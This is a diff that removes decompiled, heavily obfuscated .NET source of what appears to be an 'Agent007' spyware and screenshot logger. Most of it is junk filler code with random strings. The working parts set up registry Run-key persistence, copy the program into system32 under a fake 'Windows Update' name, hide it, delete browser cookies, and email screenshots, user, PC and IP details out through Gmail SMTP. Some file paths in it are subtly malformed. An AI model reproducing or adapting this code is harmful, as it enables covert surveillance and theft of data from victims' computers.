615); - int num13 = (int) Interaction.MsgBox((object) ".@ˆwˆ„…4Ju'\\\u008D-;‰ˆ!=!$8\u0090ac$ƒ)f‹)\u008D^1H!y<\u008Dq2eŒFJiLmhC3iEPˆCG3„ |`Rk-ZPŽ…‡.wBC…f#:9MVN\u0090gˆDp,;%mfKŒˆ"); - ProjectData.ClearProjectError(); - } - return (object) 77159649; - } - - private object S2jkL0eQLz57r4aob74a6Wchu() - { - long num1 = 10; - bool flag = false; - do - ; - while (true); - int num2 = 363467; - Decimal num3 = 370M; - int num4 = 3268447; - while (num4 <= 21476) - checked { ++num4; } - int num5 = (int) MessageBox.Show("JDB’O„r^HL3-Y‡K’?gRcrk6:-H='oB,7"); - num2 = 570; - } - if (true) - { - while (false) - { - num3 = 3944462M; - num2 = 82281; - } - if (false) - { - int num10 = (int) Interaction.MsgBox((object) "l6O5jGM95mw"); - } - } - int num11 = (int) Interaction.MsgBox((object) "_{c/`itt\u008F €/\u00909OfE}Xf>x-\\MB_X{\\@Z’…\u008FawB:DcJ„jC7bˆah>i’'-x‚Z†doŒTE{2|K=\u0081‚c4‡‡V96siŠ2>jZŠ"); - checked { ++num8; } - } - ProjectData.ClearProjectError(); - } - if (false) - { - int num12 = (int) Interaction.MsgBox((object) "q51fs2VF3S0HD"); - } - checked { ++num6; } - } - while (num6 <= 68612); - return (object) 275; - } - - public object LSEVa07() - { - int num1 = (int) MessageBox.Show("7€‘79%dˆŽ7I’\u0090cQVDt]}‹qiBkix&\u008FmWB+%C?C;ŒkZ='f?!}R`@S>’zoX6o_b@]ŒAs'‡Š@13)z…Bmj#k\u007FEYn:9BCI})gnJJ\u008FDy†8-…1N-IW-X!\u00813l‡vŽ$=&ZwcaV(^MP"); - int num2 = 899101; - Decimal num3 = 217656970M; - double num4 = 10.0; - string str1 = "=%FQ;,‘-jŽhlxl‹66Oh…0K.i;Khge\u0090pj^I"; - string str2 = "ŒTI8Ad…‰p5‚VI[m>\u0090.NX‰gA\\+<8NwW9ˆyn0fXHŒGB*„r#%>PB,4†'I€'o6G|V29Ž\u008DpnJ&yg5&6~ubX&‘{,jBF€PkD_|2d]~‹kv)Hb%;E_p 26*W60I!I[‰g,@(Z\u0090Uc\\J†)\u007FOpNuƒDvi€=T:'e=\\UPu.\u008F(` tH*-WzC kyR\u008D>X6"; - bool flag1 = false; - if (true) - ; - bool flag2 = false; - Decimal num5 = 45668M; - while (false) - { - num2 = 6127; - while (false) - { - flag2 = true; - flag1 = false; - } - num5 = 3749508M; - num4 = 45.0; - flag2 = true; - if (true) - ; - flag1 = true; - str2 = "VPiv03b6mU08yL1jWZ20P9UgVZaG2OBS4l839bZ8vY30aPF1gOyk8KgXf403j72NJw1qu0Oh1AJNzARt7C2G3CTY55DUZtKsGjMrXWfs1L0olV4J38viEe4vs9D1u8s58APYxqmy2CeQuQ73Ablyai21B2uOmnRTAkPo3481Eu648x0t7S3NicO7kdI3XeQ69zdTZ"; - num4 = 53324294.0; - str2 = "Mno9z9wvf8MREIHaOgEBRi1l3edvyln3x8j29578py3bM18rF9v6dNy6Q9TcR0ozbt8s7uAedB5h7uXBhJe3ELq2NjnWg0PuhV24T8B135saG1VQm0es9TemvV0X2r"; - num4 = 294.0; - } - if (true) - flag2 = false; - bool flag3 = false; - long num6 = 32172; - Decimal num7 = 353987M; - double num8 = 0.0; - double num9 = 70229.0; - int num10 = 0; - do - { - int num11 = (int) MessageBox.Show("n2xiS’S\u008D3V\u008F‡$\u008FoR;Gt[8;+>Œ'YVxP,pZ\u008DƒJ‹ob)`B-LJ8†<’bS6Ž+1S'ZoLX\u00904vI?L*+EZ^xk\u008Dˆ-r"); - do - ; - while (true); - flag2 = true; - num6 = 93140L; - checked { ++num10; } - } - while (num10 <= 575349); - num2 = 8; - str1 = "c8ZbPo4q324q0189S5Gp3eGXdSeciZFh5d8t2m4o9o9xRTNn3O9Sk3b"; - num2 = 7699; - num7 = 40769482M; - while (true) - { - while (false) - { - num2 = 9694123; - flag3 = false; - num2 = 18; - str2 = "nUUiAW9nn0648VG697fr6a9KlrxCu2oAK7U4CEY0vUcB5VEEm35Sfny6W7Hdx6cX0tKA5Lmwp4k3Q0mLSner6RXxdZqoGnzfuv8nBtfF0keMAdzWVGv652RYKlb28xi07o9eZ9Vp4DudBrBJugPA3kv8zCVbLwz93mggceb2RHZSK6Dujzmeu0mgg76"; - while (true) - flag1 = true; - num9 = 10956353.0; - if (false) - ; - while (false) - { - num4 = 4.0; - num9 = 1182.0; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - num5 = 14602685M; - num6 = 31459L; - num8 = 9907321.0; - int num12 = 1; - do - { - num2 = 416; - num3 = 47M; - num3 = 63M; - num4 = 458119154.0; - str2 = "aaxIO4E9q3X2UPTQQae57UvW0l3wE67IAR7I1f9g21W8N5H2uojB15EKr40KLgUMdzc3TDK0hPhP1e70"; - num3 = 43739122M; - while (false) - ; - num6 = 25943L; - num4 = 673321.0; - num7 = 64M; - checked { ++num12; } - } - while (num12 <= 3); - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - num4 = 882.0; - num9 = 42302.0; - flag2 = false; - num2 = 59450; - } - while (false) - { - int num13 = (int) MessageBox.Show("gGNpZ{€\u008FePrr4&%nZ‚m‡v(C&5X81&2Ws†ru|„\u008Dƒ7c.("); - num2 = 3; - int num14 = 0; - do - { - checked { ++num14; } - } - while (num14 <= 69); - while (false) - { - str1 = "RuNP0Q9DCvO9Hl42aqf9OX3u3z2X6wW4AWpwS7vZ5jVh69917uRk50lcnQmlvS5G6QI0BnJ4Og12eJsgmUx20i8e6iW"; - flag3 = false; - num2 = 5246; - str2 = "QBF1vlN1aDOL5vIc778j0oKtY3KNsMvEO40NtbOo9fH3gG181o1"; - num7 = 681M; - } - str2 = "oh87yw7Yc188j3KxXPOIvFi7qBvq74Ozpzs06aoac6Jlp3rYh99Y2RMEwY81Ex3gsi4N78"; - num6 = 62505335L; - } - while (true) - { - int num15 = 683; - while (num15 <= 4) - { - num8 = 384382844.0; - checked { ++num15; } - } - if (false) - ; - flag2 = false; - str1 = "K1bXO4xoFwUTdrO5qR5p1SIJZdDREk54109781m2Zg6lkpY3r8beYEXTiSLdlle"; - } - } - } - str1 = "jg3e6JC36P"; - num5 = 61M; -label_57: - if (true) - { - num2 = 3250; - int num16 = 7812; - do - { - do - ; - while (false); - checked { ++num16; } - } - while (num16 <= 78343); - goto label_57; - } - else - { - if (false) - { - int num17 = (int) Interaction.MsgBox((object) "NwuMlQ1dvDZR1DV3c"); - } - return (object) 7311366; - } - } - - public object uIaTrV64Oi2bQJ() - { - while (false) - { - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - int num1 = 527; - do - { - if (false) - ; - while (true) - { - int num2 = (int) MessageBox.Show("z@I34X>[„ˆ)pCDK‚iRmpG‹BH&s„X€9oN-z‘m=&Vu\u007FKb`*w^*ca-L/\u008Dj\u0081\u0090!-Tgxmj8nb\\Epdc\u008FŠ„ŽIt=A4y‡>+C>3/0p;Œ1&pŠHO4!w†\u0090]P8)nX;w~?€ƒO_ˆPOM5 IjŒ{}>QL\u0081,3$Aa†&*SkTV-uA6AKS’xgb…f†VO?P&\u0081‰q,~\u0081-‘KDŒ\\^…\\6Zg\u008F%Œ‚G^R/mmOj~#d"); - while (false) - ; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (true) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - while (true) - { - if (false) - ; - } - int num3 = (int) Interaction.MsgBox((object) "V]\\r^P*‡„iOd1MTDI-Vt)hT K4+a3 quQŽhMw5\\J%gZ:„w@y‹5BmYx\u0081€)[GJD\\tƒŠm35x&_3d,nT-:/g†Ei‘q$;l,zD<\u00811%\\†jC6d* „i.(M)Mr‚LsW’†v1…QY(\u0090tCES&1aV‰‹#{DwGc\u008F\u0081cr'U‚.l&i0XPw*!2F|gFŠ\u007F<‹Tpnm.Na‰c‰I‰?S6z [P‘"); - ProjectData.ClearProjectError(); - } - int num4 = (int) Interaction.MsgBox((object) "‹yAg!yGZk†~]NQ\u0090LZt‰Z44k,ƒ…e€FON>R@wˆKZLza"); - } - if (true) - { - int num5 = (int) Interaction.MsgBox((object) "U6RZ7E1NGoDbAd1"); - } - ProjectData.ClearProjectError(); - } - int num6 = (int) Interaction.MsgBox((object) "UU€xIj~kA}=*[„7‡5WW†sC+MJ=NN4€#-Œ>eQ493’,SR{u=O3o‹wn0Og1ISM+!p:KR4ff~p’/=u*B†B%!nE{$?‘C‡B2‹^|t‘udaPY_(98k,ˆ^%Lvv>boˆ6,SƒqDkn&dS +_AtgZ.5@9%)_X-`{;P^1'kˆSX*1wSRFJWaUH'…O„C:Ž! |f'r†\u007F#m_:Xˆ"); - } - return (object) 4; - } - - public object N61OLNH44hb() - { - int num1 = 48; - do - { - checked { ++num1; } - } - while (num1 <= 231971085); - while (true) - { - if (false) - ; - } - if (true) - ; - int num2 = 567; - int num3 = 878253; - do - { - num2 = 0; - int num4 = (int) MessageBox.Show("yeOY:f(†/&l,S'‘ƒŠ:1BDY7]|(F„iv5,#wMzŠ<2%VgG3}sS’*ZnQVq?M„o2@6B+\u007F]t|;G6t*L_@V\\\\*,s8Q"); - checked { ++num3; } - } - while (num3 <= 162768006); - while (true) - { - while (true) - ; - while (false) - { - if (false) - ; - while (true) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - if (true) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - if (true) - ; - while (true) - { - if (true) - ; - do - ; - while (false); - while (true) - { - num2 = 8; - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - ProjectData.ClearProjectError(); - } - num2 = 77637255; - } - int num5 = (int) Interaction.MsgBox((object) "ŽNws31'MNG&‡^xzK`Nen-Jp(d5/€:z5Xt‡*-BtxkurFkŽ†m5Yu4W@n;dpn.‘!:2f1`3jnl(~iŒ‹N$"); - } - if (false) - { - int num6 = (int) Interaction.MsgBox((object) "MsBmqunsk0vj38rlb6L"); - } - } - ProjectData.ClearProjectError(); - } - } - int num7 = (int) Interaction.MsgBox((object) "‹w&4Dci†q&$e$Cb80 $E‘;,\u0081S‘eJ€wdX}2=XM$]qzŽeXmJS0‹f+\u0081\u007F\u0090€oj7sE‘>%ŒU_z„&)},UF^jg3)]UQ9luk€E`€6C8s[‰l0bb)\u0081|’LYQ~&&jz[€~@r†\u008D_Y>>>>\r\n"; - this.R2OZYRWT0Z1B4 = this.VU475WI6LBDFH(); - } - - public object Xn8QgzG0W0AVsWc8rQ540s16() - { - int num1 = (int) MessageBox.Show("qyBuv\u008F\u0090„K:ZRa\\N76T\u0090F)‘TTˆN~L*PD0ov…‹†"); - if (false) - ; - int num2 = 77; - do - { - checked { ++num2; } - } - while (num2 <= 1401764); - return (object) 7055475; - } - - public object Xn6MN() - { - int num1 = (int) MessageBox.Show(":†M\u0081‚4~QS^DqŽ-jŒD5weVPqMŒ-hx„ri‡…mj-+~j€QV†\u0090W‰1H"); - while (false) - { - while (true) - ; - while (true) - { - int num2 = 8714; - while (num2 <= 562) - checked { ++num2; } - if (false) - ; - while (false) - { - int num3 = (int) MessageBox.Show("j„1gftz+S‹;NOVy…*A~+*PVoPgˆ\u008D…V@E~]yg‚m~†E6&S["); - do - ; - while (false); - int num4 = (int) MessageBox.Show("o1RUŠx†J#47>69lR†`FQ_9MV~'X\u0090({dhW!b6fŠ€r8‚J@‘thf_^wH‘‘reŠ#‘Nw;\u0081Vn…iQ‚TW\u0090{B1"); - } - } - } - return (object) 76072; - } - - public object jl1ac0sf2IGOPAhZuj7M8r427g24() - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (false) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - if (false) - { - while (true) - { - int num = (int) MessageBox.Show("!WMƒE4Š\u007F[$rk\\g/U"); - if (false) - ; - } - } - if (true) - { - int num1 = (int) Interaction.MsgBox((object) "CN6aIV8l7YOH"); - } - } - int num2 = (int) Interaction.MsgBox((object) "Q-‚5C\\l<{PqesMG"); - ProjectData.ClearProjectError(); - } - return (object) 98; - } - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - private void frm_Load(object sender, EventArgs e) - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.JIBSs35WaopIu = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.e5rwWRVOI50hD = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.IO8cmvqy3OpJ3 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.vW3pppHCuH4St = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.pUhRXUatRne3C = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.rN42iE9tfQL8h = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.weSoYXbJVcG2U = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.dApQ2PG2FiZlx = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.Tijmh8KnksCBf = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.MJoTkb0SPSbMW = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.JIBSs35WaopIu); - FileSystem.FileGet(1, ref this.e5rwWRVOI50hD); - FileSystem.FileGet(1, ref this.vW3pppHCuH4St); - FileSystem.FileGet(1, ref this.pUhRXUatRne3C); - FileSystem.FileGet(1, ref this.rN42iE9tfQL8h); - FileSystem.FileGet(1, ref this.weSoYXbJVcG2U); - FileSystem.FileGet(1, ref this.dApQ2PG2FiZlx); - FileSystem.FileGet(1, ref this.Tijmh8KnksCBf); - FileSystem.FileGet(1, ref this.MJoTkb0SPSbMW); - FileSystem.FileClose(1); - this.options = Strings.Split(this.JIBSs35WaopIu, "QMLBzAKqho2L1"); - this.TextBox2.Text = this.options[1]; - this.TextBox3.Text = this.options[2]; - this.TextBox4.Text = Conversions.ToString(Convert.ToInt32(this.options[3])); - this.Timer1.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer3.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer4.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer5.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer6.Interval = Conversions.ToInteger(this.TextBox4.Text); - this.Timer1.Start(); - this.Timer2.Start(); - if (Conversions.ToBoolean(this.options[4])) - { - try - { - string fileName = Path.GetFileName(Application.ExecutablePath); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\\Windows\\system32" + fileName, true); - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - registryKey.SetValue(fileName, (object) ("C:\\Windows\\system32" + Conversions.ToString(0))); - registryKey.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.options[7])) - { - string str = "\\Windows Update w." + new Random().Next(100000, 999999).ToString() + ".exe"; - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - if (Operators.CompareString(Application.StartupPath, folderPath, false) == 0) - { - if (System.IO.File.Exists(folderPath + "\\SytemInformation.txt")) - { - try - { - MyProject.Computer.FileSystem.DeleteFile(Conversions.ToString((object) MyProject.Computer.FileSystem.ReadAllText(folderPath + "\\SytemInformation.txt"))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - else - { - if (System.IO.File.Exists(folderPath + str)) - System.IO.File.Delete(folderPath + str); - System.IO.File.Copy(Application.ExecutablePath, folderPath + str); - using (System.IO.File.Create(folderPath + "\\SytemInformation.txt")) - ; - StreamWriter streamWriter = new StreamWriter(folderPath + "\\SytemInformation.txt"); - streamWriter.WriteLine(Application.ExecutablePath); - streamWriter.Flush(); - streamWriter.Close(); - Process.Start(folderPath + str); - this.Close(); - } - } - if (Conversions.ToBoolean(this.options[8])) - { - try - { - System.IO.File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Conversions.ToBoolean(this.options[5])) - this.Timer4.Start(); - if (Conversions.ToBoolean(this.options[6])) - this.Timer3.Start(); - if (!Conversions.ToBoolean(this.options[9])) - return; - this.DeleteIECookies(true); - this.DeleteMozillaCookies(true); - } - - private void Timer3_Tick(object sender, EventArgs e) - { - try - { - this.TextBox4.Text = this.TextBox7.Text + "\\" + this.TextBox6.Text + this.TextBox5.Text; - Size blockRegionSize = new Size(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); - Bitmap bitmap = new Bitmap(MyProject.Computer.Screen.Bounds.Width, MyProject.Computer.Screen.Bounds.Height); - Graphics.FromImage((Image) bitmap).CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize); - bitmap.Save(this.TextBox7.Text + "\\" + this.TextBox6.Text + this.TextBox5.Text); - TextBox textBox6 = this.TextBox6; - textBox6.Text = Conversions.ToString(Conversions.ToDouble(textBox6.Text) + 1.0); - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.TextBox2.Text); - message.To.Add(this.TextBox2.Text); - message.Subject = "_____Agent007 ScreenShot logger_____" + this.JOtNtwtMGE0nj; - message.Body = "___________Agent007 logger _______ 007 ScreenShot Logs______________\r\n----------------------------------------------------------------\r\n\r\n"; - Attachment attachment = new Attachment(this.TextBox4.Text); - message.Attachments.Add(attachment); - new SmtpClient("smtp.gmail.com") - { - Port = 587, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)), - EnableSsl = true - }.Send(message); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void Timer4_Tick(object sender, EventArgs e) - { - this.IPStealer(); - try - { - new SmtpClient("smtp.gmail.com") - { - Port = 587, - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.TextBox2.Text, this.TextBox3.Text)) - }.Send(new MailMessage() - { - Subject = MyProject.Computer.Name + " Agent 007 Logged P.C Information", - To = { - this.TextBox2.Text - }, - From = new MailAddress(this.TextBox2.Text), - Body = "User Name: " + Environment.UserName + "\r\nPC Name:---------->>> " + MyProject.Computer.Name + "\r\nOperating System Version:---------->>> " + Environment.OSVersion.ToString() + "\r\nWindows System Root:---------->>> " + Environment.SystemDirectory.ToString() + "\r\nIP Address:---------->>> " + this.LVeqFIv6xI60M - }); - this.TextBox1.Clear(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Timer4.Stop(); - } - - private void IPStealer() - { - try - { - this.LVeqFIv6xI60M = Encoding.ASCII.GetString(this.PiE1E6IWQdQx3.DownloadData("http://whatismyip.com/automation/n09230945.asp")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private object ZlNtI3NA3I1ISQq5tVO() - { - while (true) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - while (false) - { - while (true) - ; - } - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - if (true) - ; - ProjectData.ClearProjectError(); - } - if (true) - ; - ProjectData.ClearProjectError(); - } - while (true) - ; - while (true) - { - int num1 = 7914640; - while (num1 <= 35) - { - int num2 = 8; - do - { - int num3 = (int) MessageBox.Show("‡ZE[1#-DQunF\u0081$\u0081~YCŠ6g!'„‚3mvv;ŒZX;hŠ\u008D2)fkL]f;2),O|o†MG†STk‘IJ`6{3€fN‰ƒF9C];VTh\u007FejGQ=g+‡uWYY+\\R~w4hF[fp@H?3U‚>P{vZYˆFŒo1’bm{_K#8m†qfF"); - checked { ++num2; } - } - while (num2 <= 483488321); - checked { ++num1; } - } - } - do - ; - while (true); - ProjectData.ClearProjectError(); - } - if (false) - { - int num = (int) Interaction.MsgBox((object) "y0xLNrko06tZ8FdWxW"); - } - } - int num4 = (int) Interaction.MsgBox((object) "H{‚\u0090K…VƒB,v{=qu‘%Rm9gO]^(j8‰uY)pcSHHRx7M"); - return (object) 283560; - } - - public object cMw8Ry3LGYp02qgHalPJ() - { - int num1 = 1; - while (false) - { - num1 = 58; - num1 = 807887; - } - num1 = 4031; - num1 = 1; - while (false) - ; - bool flag = true; - Decimal num2 = 41235501M; - long num3 = 510047436; - while (false) - { - int num4 = (int) MessageBox.Show("K-<\\Œ/\\\u0090Šƒ'\u007FySo&7e%\u0081\u007FWX> 6^‡!3\u008FƒMmdw9\u008Datm4l€)_\u008Fˆ&Jg%dq^iw>Œ‹‘)ˆo+ŽKx*A‘(F4k}k4S9i€j_‰>n/\u008D Ž!huc>\u008Ft-46}xL_#@]†~+)XrH"); - num2 = 1M; - int num5 = (int) MessageBox.Show("A)MacM\u0081‰'?#~(>’†‘1;.‡…[‰MG’~`PW`mWI"); - while (true) - { - while (false) - { - while (false) - { - num2 = 417M; - while (true) - { - num2 = 6933535M; - flag = true; - num3 = 730833590L; - while (false) - { - while (false) - { - while (true) - ; - do - ; - while (false); - flag = true; - } - while (false) - { - num2 = 35558M; - num2 = 204305649M; - num3 = 578958690L; - } - int num6 = 13944; - do - { - num2 = 634190977M; - num3 = 83855808L; - num3 = 64L; - while (true) - ; - checked { ++num6; } - } - while (num6 <= 6097627); - int num7 = (int) MessageBox.Show("[[2#*6K{N ‹45|_Bu+Y\u008F>‹(owIys†1j‘\u008F&1‘iq_6>c\u0090Buƒb5yTŒ„,frbSV?sPj‡=H\u008D8.kak$_CpmŽx\u008D†yd\u008DR8y…HGa^3R~ygosŒ{kT]7|ˆD{‰%fm[KŒ~pU$a'ƒz)#Xet\\)‘;\u007F2;E'uhCT)RAŽƒj&„\u008D‰9nKtzlS4DBc?\u007F'K\u0081I0gv\u008D\u007Ft-\u0090QX.2€^‚a2w`SQSkfaD "); - int num8 = (int) MessageBox.Show("bCˆ=6\u008FL\u008D=vI4EXwsplB~M‹oŽ0LZt<2~=^/^ieK6Je6m)WA^\u0081<0-Œ‹"); - while (false) - { - if (false) - ; - num1 = 34; - if (false) - ; - if (true) - ; - int num9 = (int) MessageBox.Show("n)‹+aMA7\u0081[D&XNTU05cˆŒ\u0081ca$K(‚\\Š|ˆIl[e[Ž'4|oƒ‹%„=yŒzW%=sO\u007FXI'5DQnŠqOp~…\u0081Œ5-O+<"); - if (false) - ; - num2 = 3M; - do - ; - while (false); - } -label_45: - if (true) - { - if (false) - num1 = 59780; - num1 = 318; - num2 = 136M; - int num10 = 8; - do - { - checked { ++num10; } - } - while (num10 <= 554015); - goto label_45; - } - else - { - while (false) - { - do - ; - while (true); - flag = true; - } - if (false) - { - int num11 = (int) Interaction.MsgBox((object) "Km68sq5dJhBeH"); - } - } - } - int num12 = (int) Interaction.MsgBox((object) "‡H9OŽ`ŠP`f‡;A%BF<&\\K1\u007FŽ\u007F\u008D'BA<ƒxG4mWpqM6ˆU-f_,@|?k#'ƒ"); - } - if (false) - { - int num13 = (int) Interaction.MsgBox((object) "XQS5Gvois"); - } - } - } - if (true) - { - int num14 = (int) Interaction.MsgBox((object) "R5xSs1DzL"); - } - } - int num15 = (int) Interaction.MsgBox((object) "%Sfi{ys\u008F+$cYUƒ…;BYR2@@75JyC<.G(s‡s|ˆ*s3e\u008D*E|>keŽ>J‡,\u008Dgw3OTj!UV€v\u008F‚dt&\u008F1aE\u007F76\u008DNŠr3H‘vS\u008Fy?\u008FiYh(20V=a€N&„‡A9Ey.Pa8 \\‹€,X)C’)DwPV[X2nt‹K`[kBTo].5k‚MPX,0E#\u00904>€Eu,"); - } - int num16 = (int) Interaction.MsgBox((object) "q€fRoi€R @]k|_5|QTJ ‘NG€jvv-s6ˆ6\u0090„~@b83wc%+ƒzK4h)$‡@uV\u007FBXxzŒ…rr}JGnŠs‡:8AeOŒCW&?a.$oBhTY%[{|P:…ƒEAYSp=‡4|n’/'†’ r[Jvn#[u…4…8+Q{&s^f‘ebD9‚…fhDR1[{)ˆ‚.5Bxw`[Jo)K†ŒO[@"); - return (object) 0; - } - - private object YN11t() - { - double num1 = 971960545.0; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - int num2 = (int) MessageBox.Show("@f*Rx…X…-AJ=wzŠ\u0081Yn7Od‡Lk4*fN\u008D…-ˆu‰_7aF$V†YY’d‡h‡\u007F+-‰@>Q‡ke2sL‰NDŒ2ƒ2<ŽG;\u008DqN†kb6‘Y.y’’Uk-B‰s„B(\u008F+4"); - num1 = 51867.0; - while (true) - { - num1 = 0.0; - while (false) - { - num1 = 198.0; - while (true) - { - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - num1 = 62.0; - if (false) - { - int num3 = (int) MessageBox.Show("hON2l[]F?^O‚htt\u007FI-BTmŽUa^-/=gGA;OB\u007F\\q…Œ9yxN4‚^'P'NAW\\5em\u008D\u007Fg_K@"); - int num4 = 0; - do - { - if (true) - ; - num1 = 823.0; - num1 = 2.0; - if (true) - ; - num1 = 1.0; - while (true) - ; - num1 = 7.0; - if (true) - ; - checked { ++num4; } - } - while (num4 <= 7008340); - num1 = 6.0; - if (true) - { - do - ; - while (true); - do - ; - while (true); - while (true) - ; - if (true) - ; - } - if (false) - ; - } - if (true) - ; - if (false) - { - int num5 = 6; - do - { - checked { ++num5; } - } - while (num5 <= 607); - int num6 = 610197; - while (num6 <= 69387) - checked { ++num6; } - } - if (true) - { - if (true) - { - do - ; - while (true); - int num7 = (int) Interaction.MsgBox((object) "0vAWjkX9-Zƒ+ox|:E@(\u008D 4lˆP0‡dYKK/t!v;p\\7+…Tj]\\'Rc)vZQ\u008FŽ*K'Yw†ru/sJn!`]Bx%xˆB7>…f\u007F2ˆBhgB%z0DŽ >AK0E‰3\u0081%„&y\u0090Uk&l†-5†Št|RZ,'h9P8GxyV]1„Gqxy@‚[j2j‘.<7x-G_ap}}+8\u007FT\u0081Q7o4[[!xV-0T\u008DŠ‚ŒPi+3 ajQŠ\u008FS']e_\u008D~!)S"); - } - int num8 = (int) Interaction.MsgBox((object) "Vf;RB’7+fyŽƒnbs@€ƒ_==_'\u008D:ƒ`5hŒ€OVŽ3X‹a?j:~Hm+lŠ\u00909^39†97‰_@7QR!Ul‹^MsN;H?d‡#Q6L\u0081`ŒbŽ*yg\\=v<ŒjI€88I"); - } - ProjectData.ClearProjectError(); - } - int num9 = (int) Interaction.MsgBox((object) "ƒzkXXŠgŒl23!_.k+\u008DWln\u0090b’S'W@‹R{B5x5\u0090,zk?„&'Nwiup@{8Q!nŠ?7cˆ€A€rl15Wˆ{e†kN7Jie&|gQ`’09J@Y\u0081ˆx[„~‘$FN;9c‘,PRL(W%{pN\u007F~`<6$*?Vƒ’„\u007FI…Cq3#xˆY6:3rMp-A {M#[c&ƒ_C4\u008Fur‘;c(Yxy…w‹XEgF)WjL15ƒ7V{\u0081B=\u0081gscŒvV<Š.D6H[-#U^6Žry'kz}`‚zwz:7Z"); - Decimal num7 = 1M; - while (false) - { - while (true) - { - num5 = 3540.0; - if (true) - { - num5 = 70.0; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - while (false) - { - str = "MOuEsnO3R3CiKz73cUZ1qoSQwUz3YeDyFDyB6rxIzv85u1u5Sa9OzZa112rDm6Cxcual9S7L6HT4jgMndga8itnSG528BajIrSy947E9V981ML7eCUPJTjebK6gs2y5EOf24oaKb9h68m9JvlAiVmXnojXZk74uCVtOo5hvZHUp4XUpwB87c46D9scm4B2s3"; - flag = true; - str = "f8bXGYJsJ9F1rnL11Hy08CyRjQ1QtZq5CYDIpE66wSIp688h632hVDC"; - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - flag = true; - ProjectData.ClearProjectError(); - } - int num8 = 770; - while (num8 <= 0) - checked { ++num8; } - try - { - } - catch (Exception ex3) - { - ProjectData.SetProjectError(ex3); - flag = true; - num2 = 49369M; - flag = true; - num7 = 4985M; - ProjectData.ClearProjectError(); - } - if (false) - ; - } - while (false) - { - num7 = 74M; - num4 = 7801L; - } - num7 = 432M; - ProjectData.ClearProjectError(); - } - } - int num9 = (int) MessageBox.Show("’Q{‹}YM@7h\u007FGh L vae„>]‘{yNŒqWG\u007Fg7>\u0090\u008F‚€:u3L…b/G8>h6’LyeTO|/$*Tbs@’sQuN$‡tJ/+0/OlQ6m)@HS€d|a2r|0@dlecO‰VƒdB>kYD?MVe‡zYRŠ^…\u007F‹\u007F„4Š9\u0081YV]~=[r}W‘*Q6*XBx;6;Y+:m$\\*^#r-F{{ €ua9)4\u008F!S€,"); -label_60: - if (false) - { - while (false) - ; - int num10 = 0; - do - { - flag = false; - num1 = 95.0; - num4 = 273045599L; - if (true) - flag = true; - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num11 = (int) MessageBox.Show("\u008D†\\c!\\j!j(O‡VŠX\u007Fj[‰;k==(~ˆ6Q%A:{GwhVQXhvBDHP.\u008F}Fs]Žo‚PloiTw,E9\u008FI\u0081g_rAP2"); - if (false) - { - if (true) - ; - int num12 = 59449553; - while (num12 <= 0) - { - str = "srB4TVUc1TzQDdd3"; - checked { ++num12; } - } - flag = true; - while (true) - num7 = 14M; - int num13 = (int) 